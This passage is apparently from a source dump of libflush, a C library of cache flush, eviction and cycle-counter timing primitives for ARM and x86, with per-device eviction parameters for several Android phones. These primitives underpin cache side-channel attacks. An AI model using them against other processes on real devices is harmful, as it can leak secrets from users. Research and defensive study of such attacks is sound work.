libflush` 40 | 41 | Flush or evict an address 42 | ------------------------- 43 | 44 | To evict an address from the cache to the main memory, a dedicated flush 45 | instruction (if available) or eviction can be used. 46 | 47 | .. code-block:: c 48 | 49 | void* address = &foo; 50 | 51 | // Use the flush instruction (if possible) 52 | libflush_flush(libflush_session, address); 53 | 54 | // Use eviction 55 | libflush_evict(libflush_session, address); 56 | 57 | Get timing information 58 | ---------------------- 59 | 60 | To retrieve a time stamp depending on the used time source can be 61 | achieved with the following function. 62 | 63 | .. code-block:: c 64 | 65 | uint64 time = libflush_get_timing(libflush_session); 66 | 67 | In addition wrapper functions to measure the execution time of different 68 | functions are given. 69 | 70 | .. code-block:: c 71 | 72 | uint64 time = libflush_reload_address(libflush_session, address); 73 | -------------------------------------------------------------------------------- /libflush/example/.gitignore: -------------------------------------------------------------------------------- 1 | example 2 | -------------------------------------------------------------------------------- /libflush/example/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | include ../config.mk 5 | LOCAL_MODULE := libflush 6 | LOCAL_EXPORT_C_INCLUDES := $(LOCAL_PATH)/../ 7 | LOCAL_SRC_FILES := ../obj/local/$(TARGET_ARCH_ABI)/libflush.a 8 | include $(PREBUILT_STATIC_LIBRARY) 9 | 10 | include $(CLEAR_VARS) 11 | LOCAL_CFLAGS += ${CFLAGS} 12 | LOCAL_MODULE := example 13 | LOCAL_SRC_FILES := main.c 14 | LOCAL_SHARED_LIBRARIES := libflush 15 | include $(BUILD_EXECUTABLE) 16 | -------------------------------------------------------------------------------- /libflush/example/Application.mk: -------------------------------------------------------------------------------- 1 | # Use alternate build script 2 | APP_BUILD_SCRIPT := Android.mk 3 | 4 | # This variable contains the name of the target Android platform. 5 | APP_PLATFORM := android-21 6 | 7 | # By default, the NDK build system generates machine code for the armeabi ABI. 8 | # This machine code corresponds to an ARMv5TE-based CPU with software floating 9 | # point operations. You can use APP_ABI to select a different ABI. 10 | # 11 | # See https://developer.android.com/ndk/guides/application_mk.html 12 | APP_ABI := x86_64 armeabi-v7a arm64-v8a 13 | -------------------------------------------------------------------------------- /libflush/example/Makefile: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | include ../config.mk 4 | include ../common.mk 5 | include ../colors.mk 6 | include config.mk 7 | 8 | PROJECT = example 9 | SOURCE = $(wildcard *.c) 10 | OBJECTS = $(addprefix ${BUILDDIR_RELEASE}/,${SOURCE:.c=.o}) 11 | OBJECTS_DEBUG = $(addprefix ${BUILDDIR_DEBUG}/,${SOURCE:.c=.o}) 12 | 13 | ifeq "${ARCH}" "x86" 14 | LDFLAGS += -pthread 15 | endif 16 | 17 | ifeq "${ARCH}" "armv7" 18 | include ../config-arm.mk 19 | include config-arm.mk 20 | endif 21 | 22 | ifeq "${ARCH}" "armv8" 23 | include ../config-arm64.mk 24 | include config-arm.mk 25 | endif 26 | 27 | all: options ${PROJECT} 28 | 29 | options: 30 | ${ECHO} ${PROJECT} build options: 31 | ${ECHO} "CFLAGS = ${CFLAGS}" 32 | ${ECHO} "LDFLAGS = ${LDFLAGS}" 33 | ${ECHO} "LIBS = ${LIBS}" 34 | ${ECHO} "CC = ${CC}" 35 | 36 | # release build 37 | 38 | ${OBJECTS}: ../config.mk config.mk 39 | 40 | ${BUILDDIR_RELEASE}/%.o: %.c 41 | $(call colorecho,CC,$<) 42 | @mkdir -p ${DEPENDDIR}/$(dir $(abspath $@)) 43 | @mkdir -p $(dir $(abspath $@)) 44 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} -o $@ $< -MMD -MF ${DEPENDDIR}/$(abspath $@).dep 45 | 46 | ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT}: ${OBJECTS} dependencies 47 | $(call colorecho,CC,$@) 48 | @mkdir -p ${BUILDDIR_RELEASE}/${BINDIR} 49 | $(QUIET)${CC} ${SFLAGS} ${LDFLAGS} \ 50 | -o ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} ${OBJECTS} ${LIBS} ${LIBFLUSH_RELEASE} 51 | 52 | ${PROJECT}: ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} 53 | 54 | run: ${PROJECT} 55 | ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} 56 | 57 | dependencies: 58 | $(QUIET)${MAKE} WITH_LIBFIU=${WITH_LIBFIU} -C .. release 59 | 60 | # debug build 61 | 62 | ${OBJECTS_DEBUG}: ../config.mk config.mk 63 | 64 | ${BUILDDIR_DEBUG}/%.o: %.c 65 | $(call colorecho,CC,$<) 66 | @mkdir -p ${DEPENDDIR}/$(dir $(abspath $@)) 67 | @mkdir -p $(dir $(abspath $@)) 68 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} -o $@ $< -MMD -MF ${DEPENDDIR}/$(abspath $@).dep 69 | 70 | ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT}: ${OBJECTS_DEBUG} dependencies-debug 71 | $(call colorecho,CC,$@) 72 | @mkdir -p ${BUILDDIR_DEBUG}/${BINDIR} 73 | $(QUIET)${CC} ${SFLAGS} ${LDFLAGS} \ 74 | -o ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} ${OBJECTS_DEBUG} ${LIBS} ${LIBFLUSH_DEBUG} 75 | 76 | debug: ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 77 | 78 | run-debug: debug 79 | ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 80 | 81 | dependencies-debug: 82 | $(QUIET)${MAKE} WITH_LIBFIU=1 -C .. debug 83 | 84 | # debugging 85 | 86 | gdb: debug 87 | $(QUIET)${GDB} ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 88 | 89 | # clean 90 | 91 | clean: 92 | $(QUIET)rm -rf ${PROJECT}.so ${OBJECTS} .depend ${PROJECT}.gcda ${PROJECT}.gcno 93 | 94 | .PHONY: all options clean debug run dependencies dependencies-debug gdb 95 | 96 | -include $(wildcard .depend/*.dep) 97 | -------------------------------------------------------------------------------- /libflush/example/config-arm.mk: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | LDFLAGS += -pie 4 | -------------------------------------------------------------------------------- /libflush/example/config.mk: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | INCS += -I../ 4 | 5 | LIBFLUSH_RELEASE=../${BUILDDIR_RELEASE}/libflush.a 6 | LIBFLUSH_DEBUG=../${BUILDDIR_DEBUG}/libflush.a 7 | LIBFLUSH_GCOV=../${BUILDDIR_GCOV}/libflush.a 8 | -------------------------------------------------------------------------------- /libflush/libflush.pc.in: -------------------------------------------------------------------------------- 1 | Name: ${project} 2 | Description: c 3 | Version: ${version} 4 | URL: 5 | Cflags: -I${includedir} 6 | Libs: -L${libdir} -lflush 7 | -------------------------------------------------------------------------------- /libflush/libflush/armv7/configuration.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef ARM_V7_CONFIGURATION_H 4 | #define ARM_V7_CONFIGURATION_H 5 | 6 | #define CYCLE_COUNTER_DIV_64 0 7 | 8 | #endif // ARM_V7_CONFIGURATION_H 9 | -------------------------------------------------------------------------------- /libflush/libflush/armv7/internal.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef ARM_V7_INTERNAL_H 4 | #define ARM_V7_INTERNAL_H 5 | 6 | #include "../libflush.h" 7 | 8 | void arm_v7_timing_init(bool div64); 9 | void arm_v7_timing_terminate(void); 10 | 11 | #endif // ARM_V7_INTERNAL_H 12 | -------------------------------------------------------------------------------- /libflush/libflush/armv7/libflush.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #include "libflush.h" 4 | #include "internal.h" 5 | #include "configuration.h" 6 | #include "../timing.h" 7 | 8 | void 9 | arm_v7_init(libflush_session_t* session, libflush_session_args_t* args) 10 | { 11 | (void) session; 12 | (void) args; 13 | 14 | #if TIME_SOURCE == TIME_SOURCE_REGISTER 15 | bool div64 = CYCLE_COUNTER_DIV_64; 16 | if (args != NULL && args->performance_register_div64 == true) { 17 | div64 = true; 18 | } 19 | 20 | // Enable user space performance counter 21 | arm_v7_timing_init(div64); 22 | #endif 23 | } 24 | 25 | void 26 | arm_v7_terminate(libflush_session_t* session) 27 | { 28 | (void) session; 29 | 30 | // Disable user space performance counter 31 | #if TIME_SOURCE == TIME_SOURCE_REGISTER 32 | arm_v7_timing_terminate(); 33 | #endif 34 | } 35 | -------------------------------------------------------------------------------- /libflush/libflush/armv7/libflush.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef ARM_V7_LIBFLUSH_H 4 | #define ARM_V7_LIBFLUSH_H 5 | 6 | #include "../libflush.h" 7 | 8 | #include "timing.h" 9 | #include "memory.h" 10 | 11 | void arm_v7_init(libflush_session_t* session, libflush_session_args_t* args); 12 | void arm_v7_terminate(libflush_session_t* session); 13 | 14 | #endif /* ARM_V7_LIBFLUSH_H */ 15 | -------------------------------------------------------------------------------- /libflush/libflush/armv7/memory.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef ARM_V7_MEMORY_H 4 | #define ARM_V7_MEMORY_H 5 | 6 | inline void 7 | arm_v7_access_memory(void* pointer) 8 | { 9 | volatile uint32_t value; 10 | asm volatile ("LDR %0, [%1]\n\t" 11 | : "=r" (value) 12 | : "r" (pointer) 13 | ); 14 | } 15 | 16 | inline void 17 | arm_v7_memory_barrier(void) 18 | { 19 | asm volatile ("DSB"); 20 | asm volatile ("ISB"); 21 | } 22 | 23 | inline void 24 | arm_v7_prefetch(void* pointer) 25 | { 26 | asm volatile ("pld [%0]" :: "r" (pointer)); 27 | } 28 | 29 | #endif /*ARM_V7_MEMORY_H*/ 30 | -------------------------------------------------------------------------------- /libflush/libflush/armv7/timing.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef ARM_V7_TIMING_H 4 | #define ARM_V7_TIMING_H 5 | 6 | #include 7 | #include "memory.h" 8 | #include "timing.h" 9 | #include "configuration.h" 10 | 11 | #define ARMV7_PMCR_E (1 << 0) /* Enable all counters */ 12 | #define ARMV7_PMCR_P (1 << 1) /* Reset all counters */ 13 | #define ARMV7_PMCR_C (1 << 2) /* Cycle counter reset */ 14 | #define ARMV7_PMCR_D (1 << 3) /* Cycle counts every 64th cpu cycle */ 15 | #define ARMV7_PMCR_X (1 << 4) /* Export to ETM */ 16 | 17 | #define ARMV7_PMCNTENSET_C (1 << 31) /* Enable cycle counter */ 18 | 19 | #define ARMV7_PMOVSR_C (1 << 31) /* Overflow bit */ 20 | 21 | inline uint64_t 22 | arm_v7_get_timing(void) 23 | { 24 | uint32_t result = 0; 25 | 26 | asm volatile ("MRC p15, 0, %0, c9, c13, 0" : "=r" (result)); 27 | 28 | return result; 29 | } 30 | 31 | inline void 32 | arm_v7_reset_timing(bool div64) 33 | { 34 | uint32_t value = 0; 35 | 36 | value |= ARMV7_PMCR_E; // Enable all counters 37 | value |= ARMV7_PMCR_P; // Reset all counters 38 | value |= ARMV7_PMCR_C; // Reset cycle counter to zero 39 | value |= ARMV7_PMCR_X; // Enable export of events 40 | 41 | if (div64 == true) { 42 | value |= ARMV7_PMCR_D; // Enable cycle count divider 43 | } 44 | 45 | // Performance Monitor Control Register 46 | asm volatile ("MCR p15, 0, %0, c9, c12, 0" :: "r" (value)); 47 | } 48 | 49 | inline void 50 | arm_v7_timing_init(bool div64) 51 | { 52 | uint32_t value = 0; 53 | 54 | value |= ARMV7_PMCR_E; // Enable all counters 55 | value |= ARMV7_PMCR_P; // Reset all counters 56 | value |= ARMV7_PMCR_C; // Reset cycle counter to zero 57 | value |= ARMV7_PMCR_X; // Enable export of events 58 | 59 | if (div64 == true) { 60 | value |= ARMV7_PMCR_D; // Enable cycle count divider 61 | } 62 | 63 | // Performance Monitor Control Register 64 | asm volatile ("MCR p15, 0, %0, c9, c12, 0" :: "r" (value)); 65 | 66 | // Count Enable Set Register 67 | value = 0; 68 | value |= ARMV7_PMCNTENSET_C; 69 | 70 | for (unsigned int x = 0; x < 4; x++) { 71 | value |= (1 << x); // Enable the PMx event counter 72 | } 73 | 74 | asm volatile ("MCR p15, 0, %0, c9, c12, 1" :: "r" (value)); 75 | 76 | // Overflow Flag Status register 77 | value = 0; 78 | value |= ARMV7_PMOVSR_C; 79 | 80 | for (unsigned int x = 0; x < 4; x++) { 81 | value |= (1 << x); // Enable the PMx event counter 82 | } 83 | asm volatile ("MCR p15, 0, %0, c9, c12, 3" :: "r" (value)); 84 | } 85 | 86 | inline void 87 | arm_v7_timing_terminate(void) 88 | { 89 | uint32_t value = 0; 90 | uint32_t mask = 0; 91 | 92 | // Performance Monitor Control Register 93 | asm volatile ("MRC p15, 0, %0, c9, c12, 0" :: "r" (value)); 94 | 95 | mask = 0; 96 | mask |= ARMV7_PMCR_E; /* Enable */ 97 | mask |= ARMV7_PMCR_C; /* Cycle counter reset */ 98 | mask |= ARMV7_PMCR_P; /* Reset all counters */ 99 | mask |= ARMV7_PMCR_X; /* Export */ 100 | 101 | asm volatile ("MCR p15, 0, %0, c9, c12, 0" :: "r" (value & ~mask)); 102 | } 103 | 104 | #endif /*ARM_V7_TIMING_H*/ 105 | -------------------------------------------------------------------------------- /libflush/libflush/armv8/flush.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef ARM_V8_FLUSH_H 4 | #define ARM_V8_FLUSH_H 5 | 6 | inline void arm_v8_flush(void* address) 7 | { 8 | asm volatile ("DC CIVAC, %0" :: "r"(address)); 9 | asm volatile ("DSB ISH"); 10 | asm volatile ("ISB"); 11 | } 12 | 13 | #endif /* ARM_V8_FLUSH_H */ 14 | -------------------------------------------------------------------------------- /libflush/libflush/armv8/internal.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef ARM_V8_INTERNAL_H 4 | #define ARM_V8_INTERNAL_H 5 | 6 | void arm_v8_timing_init(void); 7 | void arm_v8_timing_terminate(void); 8 | 9 | #endif // ARM_V8_INTERNAL_H 10 | -------------------------------------------------------------------------------- /libflush/libflush/armv8/libflush.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #include "libflush.h" 4 | #include "internal.h" 5 | #include "../timing.h" 6 | 7 | void 8 | arm_v8_init(libflush_session_t* session, libflush_session_args_t* args) 9 | { 10 | (void) session; 11 | (void) args; 12 | 13 | // Enable user space performance counter 14 | #if TIME_SOURCE == TIME_SOURCE_REGISTER 15 | arm_v8_timing_init(); 16 | #endif 17 | } 18 | 19 | void 20 | arm_v8_terminate(libflush_session_t* session) 21 | { 22 | (void) session; 23 | 24 | // Disable user space performance counter 25 | #if TIME_SOURCE == TIME_SOURCE_REGISTER 26 | arm_v8_timing_terminate(); 27 | #endif 28 | } 29 | -------------------------------------------------------------------------------- /libflush/libflush/armv8/libflush.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef ARM_V8_LIBFLUSH_H 4 | #define ARM_V8_LIBFLUSH_H 5 | 6 | #include "../libflush.h" 7 | 8 | #include "flush.h" 9 | #include "timing.h" 10 | #include "memory.h" 11 | 12 | void arm_v8_init(libflush_session_t* session, libflush_session_args_t* args); 13 | void arm_v8_terminate(libflush_session_t* session); 14 | 15 | #endif /* ARM_V8_LIBFLUSH_H */ 16 | -------------------------------------------------------------------------------- /libflush/libflush/armv8/memory.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef ARM_v8_MEMORY_H 4 | #define ARM_v8_MEMORY_H 5 | 6 | inline void 7 | arm_v8_access_memory(void* pointer) 8 | { 9 | volatile uint32_t value; 10 | asm volatile ("LDR %0, [%1]\n\t" 11 | : "=r" (value) 12 | : "r" (pointer) 13 | ); 14 | } 15 | 16 | inline void 17 | arm_v8_memory_barrier(void) 18 | { 19 | asm volatile ("DSB SY"); 20 | asm volatile ("ISB"); 21 | } 22 | 23 | inline void 24 | arm_v8_prefetch(void* pointer) 25 | { 26 | asm volatile ("PRFM PLDL3KEEP, [%x0]" :: "p" (pointer)); 27 | asm volatile ("PRFM PLDL2KEEP, [%x0]" :: "p" (pointer)); 28 | asm volatile ("PRFM PLDL1KEEP, [%x0]" :: "p" (pointer)); 29 | } 30 | 31 | #endif /*ARM_v8_MEMORY_H*/ 32 | -------------------------------------------------------------------------------- /libflush/libflush/armv8/timing.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef ARM_V8_TIMING_H 4 | #define ARM_V8_TIMING_H 5 | 6 | #include 7 | #include "memory.h" 8 | 9 | #define ARMV8_PMCR_E (1 << 0) /* Enable all counters */ 10 | #define ARMV8_PMCR_P (1 << 1) /* Reset all counters */ 11 | #define ARMV8_PMCR_C (1 << 2) /* Cycle counter reset */ 12 | 13 | #define ARMV8_PMUSERENR_EN (1 << 0) /* EL0 access enable */ 14 | #define ARMV8_PMUSERENR_CR (1 << 2) /* Cycle counter read enable */ 15 | #define ARMV8_PMUSERENR_ER (1 << 3) /* Event counter read enable */ 16 | 17 | #define ARMV8_PMCNTENSET_EL0_EN (1 << 31) /* Performance Monitors Count Enable Set register */ 18 | 19 | inline uint64_t 20 | arm_v8_get_timing(void) 21 | { 22 | uint64_t result = 0; 23 | 24 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r" (result)); 25 | 26 | return result; 27 | } 28 | 29 | inline void 30 | arm_v8_timing_init(void) 31 | { 32 | uint32_t value = 0; 33 | 34 | /* Enable Performance Counter */ 35 | asm volatile("MRS %0, PMCR_EL0" : "=r" (value)); 36 | value |= ARMV8_PMCR_E; /* Enable */ 37 | value |= ARMV8_PMCR_C; /* Cycle counter reset */ 38 | value |= ARMV8_PMCR_P; /* Reset all counters */ 39 | asm volatile("MSR PMCR_EL0, %0" : : "r" (value)); 40 | 41 | /* Enable cycle counter register */ 42 | asm volatile("MRS %0, PMCNTENSET_EL0" : "=r" (value)); 43 | value |= ARMV8_PMCNTENSET_EL0_EN; 44 | asm volatile("MSR PMCNTENSET_EL0, %0" : : "r" (value)); 45 | } 46 | 47 | inline void 48 | arm_v8_timing_terminate(void) 49 | { 50 | uint32_t value = 0; 51 | uint32_t mask = 0; 52 | 53 | /* Disable Performance Counter */ 54 | asm volatile("MRS %0, PMCR_EL0" : "=r" (value)); 55 | mask = 0; 56 | mask |= ARMV8_PMCR_E; /* Enable */ 57 | mask |= ARMV8_PMCR_C; /* Cycle counter reset */ 58 | mask |= ARMV8_PMCR_P; /* Reset all counters */ 59 | asm volatile("MSR PMCR_EL0, %0" : : "r" (value & ~mask)); 60 | 61 | /* Disable cycle counter register */ 62 | asm volatile("MRS %0, PMCNTENSET_EL0" : "=r" (value)); 63 | mask = 0; 64 | mask |= ARMV8_PMCNTENSET_EL0_EN; 65 | asm volatile("MSR PMCNTENSET_EL0, %0" : : "r" (value & ~mask)); 66 | } 67 | 68 | inline void 69 | arm_v8_reset_timing(void) 70 | { 71 | uint32_t value = 0; 72 | asm volatile("MRS %0, PMCR_EL0" : "=r" (value)); 73 | value |= ARMV8_PMCR_C; /* Cycle counter reset */ 74 | asm volatile("MSR PMCR_EL0, %0" : : "r" (value)); 75 | } 76 | 77 | #endif /*ARM_V8_TIMING_H*/ 78 | -------------------------------------------------------------------------------- /libflush/libflush/eviction/configuration.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef LIBFLUSH_EVICTION_CONFIGURATION_H 4 | #define LIBFLUSH_EVICTION_CONFIGURATION_H 5 | 6 | #define ADDRESS_CACHE_SIZE 128 7 | 8 | #define USE_FIXED_MEMORY_SIZE 1 9 | #define PHYSICAL_MEMORY_MAPPED_SIZE (10 * 1024 * 1024) 10 | #define FRACTION_OF_PHYSICAL_MEMORY 0.1 11 | 12 | #endif // LIBFLUSH_EVICTION_CONFIGURATION_H 13 | -------------------------------------------------------------------------------- /libflush/libflush/eviction/eviction.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef LIBFLUSH_EVICTION_H 4 | #define LIBFLUSH_EVICTION_H 5 | 6 | #include "../libflush.h" 7 | 8 | bool libflush_eviction_init(libflush_session_t* session, libflush_session_args_t* args); 9 | bool libflush_eviction_terminate(libflush_session_t* session); 10 | void libflush_eviction_evict(libflush_session_t* session, void* address); 11 | 12 | void libflush_eviction_prime(libflush_session_t* session, size_t set_index); 13 | void libflush_eviction_probe(libflush_session_t* session, size_t set_index); 14 | 15 | size_t libflush_eviction_get_set_index(libflush_session_t* session, void* address); 16 | size_t libflush_eviction_get_number_of_sets(libflush_session_t* session); 17 | 18 | #endif // LIBFLUSH_EVICTION_H 19 | -------------------------------------------------------------------------------- /libflush/libflush/eviction/strategies/alto45.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | /* Alcatel OneTouch Pop 2 */ 4 | #define NUMBER_OF_SETS 512 5 | #define LINE_LENGTH_LOG2 6 6 | #define LINE_LENGTH 64 7 | #define ES_EVICTION_COUNTER 16 8 | #define ES_NUMBER_OF_ACCESSES_IN_LOOP 1 9 | #define ES_DIFFERENT_ADDRESSES_IN_LOOP 6 10 | -------------------------------------------------------------------------------- /libflush/libflush/eviction/strategies/bacon.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | /* OnePlus One */ 4 | #define NUMBER_OF_SETS 4096 5 | #define LINE_LENGTH_LOG2 6 6 | #define LINE_LENGTH 64 7 | #define ES_EVICTION_COUNTER 10 8 | #define ES_NUMBER_OF_ACCESSES_IN_LOOP 2 9 | #define ES_DIFFERENT_ADDRESSES_IN_LOOP 2 10 | -------------------------------------------------------------------------------- /libflush/libflush/eviction/strategies/default.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | /* Default example configuration */ 4 | #define NUMBER_OF_SETS 4096 5 | #define LINE_LENGTH_LOG2 6 6 | #define LINE_LENGTH 64 7 | #define ES_EVICTION_COUNTER 28 8 | #define ES_NUMBER_OF_ACCESSES_IN_LOOP 5 9 | #define ES_DIFFERENT_ADDRESSES_IN_LOOP 4 10 | -------------------------------------------------------------------------------- /libflush/libflush/eviction/strategies/hammerhead.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | /* Nexus 5 */ 4 | #define NUMBER_OF_SETS 4096 5 | #define LINE_LENGTH_LOG2 6 6 | #define LINE_LENGTH 64 7 | #define ES_EVICTION_COUNTER 10 8 | #define ES_NUMBER_OF_ACCESSES_IN_LOOP 2 9 | #define ES_DIFFERENT_ADDRESSES_IN_LOOP 2 10 | -------------------------------------------------------------------------------- /libflush/libflush/eviction/strategies/mako.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | /* Nexus 4 */ 4 | #define NUMBER_OF_SETS 2048 5 | #define LINE_LENGTH_LOG2 7 6 | #define LINE_LENGTH 128 7 | #define ES_EVICTION_COUNTER 12 8 | #define ES_NUMBER_OF_ACCESSES_IN_LOOP 1 9 | #define ES_DIFFERENT_ADDRESSES_IN_LOOP 2 10 | -------------------------------------------------------------------------------- /libflush/libflush/eviction/strategies/manta.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | /* Nexus 10 */ 4 | #define NUMBER_OF_SETS 1024 5 | #define LINE_LENGTH_LOG2 6 6 | #define LINE_LENGTH 64 7 | #define ES_EVICTION_COUNTER 10 8 | #define ES_NUMBER_OF_ACCESSES_IN_LOOP 2 9 | #define ES_DIFFERENT_ADDRESSES_IN_LOOP 2 10 | -------------------------------------------------------------------------------- /libflush/libflush/eviction/strategies/tilapia.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | /* OnePlus One */ 4 | #define NUMBER_OF_SETS 4096 5 | #define LINE_LENGTH_LOG2 6 6 | #define LINE_LENGTH 64 7 | #define ES_EVICTION_COUNTER 10 8 | #define ES_NUMBER_OF_ACCESSES_IN_LOOP 2 9 | #define ES_DIFFERENT_ADDRESSES_IN_LOOP 2 10 | -------------------------------------------------------------------------------- /libflush/libflush/eviction/strategies/zeroflte.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | /* Samsung S6 (A53) */ 4 | #if 1 5 | #define NUMBER_OF_SETS 512 6 | #define LINE_LENGTH_LOG2 6 7 | #define LINE_LENGTH 64 8 | #define ES_EVICTION_COUNTER 21 9 | #define ES_NUMBER_OF_ACCESSES_IN_LOOP 2 10 | #define ES_DIFFERENT_ADDRESSES_IN_LOOP 5 11 | #else 12 | /* Samsung S6 (A57) */ 13 | #define NUMBER_OF_SETS 2048 14 | #define LINE_LENGTH_LOG2 6 15 | #define LINE_LENGTH 64 16 | #define ES_EVICTION_COUNTER 25 17 | #define ES_NUMBER_OF_ACCESSES_IN_LOOP 10 18 | #define ES_DIFFERENT_ADDRESSES_IN_LOOP 10 19 | #endif 20 | -------------------------------------------------------------------------------- /libflush/libflush/internal.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef INTERNAL_H 4 | #define INTERNAL_H 5 | 6 | #include "libflush.h" 7 | 8 | #if TIME_SOURCE == TIME_SOURCE_THREAD_COUNTER 9 | #include 10 | 11 | typedef struct thread_data_s { 12 | libflush_session_t* session; 13 | ssize_t cpu; 14 | } thread_data_t; 15 | #endif 16 | 17 | struct libflush_session_s { 18 | void* data; 19 | bool performance_register_div64; 20 | 21 | #if HAVE_PAGEMAP_ACCESS == 1 22 | struct { 23 | int pagemap; 24 | } memory; 25 | #endif 26 | 27 | #if TIME_SOURCE == TIME_SOURCE_THREAD_COUNTER 28 | struct { 29 | pthread_t thread; 30 | volatile uint64_t value; 31 | thread_data_t data; 32 | } thread_counter; 33 | #endif 34 | 35 | #if TIME_SOURCE == TIME_SOURCE_PERF 36 | struct { 37 | int fd; 38 | } perf; 39 | #endif 40 | }; 41 | 42 | #endif /*INTERNAL_H*/ 43 | -------------------------------------------------------------------------------- /libflush/libflush/libflush.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #define _GNU_SOURCE 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include "libflush.h" 17 | #include "timing.h" 18 | #include "internal.h" 19 | #include "eviction/eviction.h" 20 | 21 | #include 22 | 23 | #if defined(__ARM_ARCH_7A__) 24 | #include "armv7/libflush.h" 25 | #elif defined(__ARM_ARCH_8A__) 26 | #include "armv8/libflush.h" 27 | #elif defined(__i386__) || defined(__x86_64__) 28 | #include "x86/libflush.h" 29 | #endif 30 | 31 | static uint64_t libflush_get_timing_start(libflush_session_t* session); 32 | static uint64_t libflush_get_timing_end(libflush_session_t* session); 33 | 34 | #if HAVE_PAGEMAP_ACCESS == 1 35 | static size_t get_frame_number_from_pagemap(size_t value); 36 | #endif 37 | 38 | bool 39 | libflush_init(libflush_session_t** session, libflush_session_args_t* args) 40 | { 41 | (void) session; 42 | (void) args; 43 | 44 | if (session == NULL) { 45 | return false; 46 | } 47 | 48 | if ((*session = calloc(1, sizeof(libflush_session_t))) == NULL) { 49 | return false; 50 | } 51 | 52 | if (args != NULL) { 53 | (*session)->performance_register_div64 = args->performance_register_div64; 54 | } 55 | 56 | #if HAVE_PAGEMAP_ACCESS == 1 57 | (*session)->memory.pagemap = open("/proc/self/pagemap", O_RDONLY); 58 | if ((*session)->memory.pagemap == -1) { 59 | free(*session); 60 | return false; 61 | } 62 | #endif 63 | 64 | /* Initialize timer */ 65 | #if TIME_SOURCE == TIME_SOURCE_PERF 66 | perf_init(*session, args); 67 | #elif TIME_SOURCE == TIME_SOURCE_THREAD_COUNTER 68 | thread_counter_init(*session, args); 69 | #endif 70 | 71 | /* Initialize eviction */ 72 | libflush_eviction_init(*session, args); 73 | 74 | /* Initialize architecture */ 75 | #if defined(__ARM_ARCH_7A__) 76 | arm_v7_init(*session, args); 77 | #elif defined(__ARM_ARCH_8A__) 78 | arm_v8_init(*session, args); 79 | #endif 80 | 81 | return true; 82 | } 83 | 84 | bool 85 | libflush_terminate(libflush_session_t* session) 86 | { 87 | (void) session; 88 | 89 | if (session == NULL) { 90 | return false; 91 | } 92 | 93 | /* Pagemap access */ 94 | #if HAVE_PAGEMAP_ACCESS == 1 95 | if (session->memory.pagemap >= 0) { 96 | close(session->memory.pagemap); 97 | } 98 | session->memory.pagemap = -1; 99 | #endif 100 | 101 | /* Terminate timer */ 102 | #if TIME_SOURCE == TIME_SOURCE_PERF 103 | perf_terminate(session); 104 | #elif TIME_SOURCE == TIME_SOURCE_THREAD_COUNTER 105 | thread_counter_terminate(session); 106 | #endif 107 | 108 | /* Terminate eviction */ 109 | libflush_eviction_terminate(session); 110 | 111 | /* Terminate architecture */ 112 | #if defined(__ARM_ARCH_7A__) 113 | arm_v7_terminate(session); 114 | #elif defined(__ARM_ARCH_8A__) 115 | arm_v8_terminate(session); 116 | #endif 117 | 118 | /* Clean-up */ 119 | free(session); 120 | 121 | return true; 122 | } 123 | 124 | void 125 | libflush_flush(libflush_session_t* session, void* address) 126 | { 127 | (void) session; 128 | 129 | #if USE_EVICTION == 1 130 | 